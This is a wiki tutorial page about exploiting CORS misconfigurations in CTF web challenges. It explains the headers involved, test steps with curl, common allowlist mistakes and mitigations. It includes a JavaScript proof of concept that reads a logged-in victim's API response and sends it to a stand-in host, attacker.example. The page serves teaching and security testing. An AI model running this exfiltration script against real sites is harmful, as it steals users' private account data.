Athena Wiki
Web ExploitationAuthentication

CORS Misconfiguration

webintermediate

Exploit misconfigured Cross-Origin Resource Sharing in CTF web - reflected Origin, wildcards, credentials, and exfiltration from authenticated APIs.

webcorssame-origin-policyaccess-controlxhrfetchcredentials

CORS Misconfiguration

CORS (Cross-Origin Resource Sharing) is how a browser decides whether JavaScript on page A may read HTTP responses from origin B. It does not block you from sending requests - it mainly controls whether fetch / XHR can see the response body when origins differ.

If the API is misconfigured, a malicious site you visit while logged in can steal JSON from the victim’s session. PortSwigger’s CORS material is the standard reference; OWASP covers testing in the WSTG CORS section.

Headers You Need to Know

HeaderPurpose
OriginBrowser sends the origin of the page that initiated the request (scheme + host + port).
Access-Control-Allow-OriginWhich origin may read the response from JS.
Access-Control-Allow-CredentialsIf true, cookies / Authorization may be sent and exposed to JS (subject to browser rules).
Access-Control-Allow-Methods / Allow-HeadersAllowed methods and request headers for preflight (OPTIONS).

Critical rule: Browsers reject Access-Control-Allow-Origin: * together with Access-Control-Allow-Credentials: true for credentialed requests; many bugs come from reflecting arbitrary Origin or from broken regex “allowlists”.

Attack Decision Tree

Find a sensitive endpoint

Look for JSON APIs: /api/user, /api/me, /graphql, /profile.json - anything that returns private data when the victim is logged in.

Send a cross-origin request with a fake Origin

From your machine (Burp Repeater or curl), add:

Origin: https://evil.example

If the response echoes Access-Control-Allow-Origin: https://evil.example and you need cookies, check for Access-Control-Allow-Credentials: true.

Host a PoC page on that origin

If the server reflects your Origin, your PoC at https://evil.example can use fetch(..., { credentials: 'include' }) so the victim’s browser sends cookies and returns the response body to your JS.

PoC: Steal JSON with fetch

<script>
  fetch("https://victim.example/api/me", {
    credentials: "include",
  })
    .then((r) => r.text())
    .then((t) => {
      // exfil to your server
      fetch("https://attacker.example/log?d=" + encodeURIComponent(t));
    });
</script>

This only works if victim visits your page while logged into victim.example and CORS allows the attacker origin.

Common Misconfigurations

MisconfigurationWhy it hurts
Access-Control-Allow-Origin: * on private JSONAny site can read the response if the request does not need cookies - or combine with other bugs
Reflect Origin header without validationAttacker origin gets full read access to credentialed responses
Regex allowlist bugshttps://trusted.com.evil.com matches naive https://trusted.com patterns
Allow null originSandboxed / file contexts send Origin: null - dangerous if whitelisted blindly
Preflight only on OPTIONSSometimes GET reflects Origin but OPTIONS does not - test both

Quick Tests with curl

# Does the server reflect arbitrary Origin?
curl -sI -H "Origin: https://evil.com" \
  -H "Cookie: session=..." \
  https://victim.example/api/me | grep -i access-control

# Credentialed CORS (browser sends cookie)
# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

Mitigation (What Writeups Expect)

  • Never reflect raw Origin. Use a fixed allowlist server-side.
  • Vary: Origin when responses differ by origin (cache correctness).
  • CORS is not authentication - enforce auth on every API on the server.

Checklist

  • Enumerate API endpoints returning JSON
  • Burp: add Origin: https://evil.com on GET and POST
  • Check Access-Control-Allow-Credentials + reflected Allow-Origin
  • Try Origin: null
  • Test subdomain and scheme tricks (http vs https)
  • Build HTML PoC with credentials: 'include' if cookies matter

Last updated on

On this page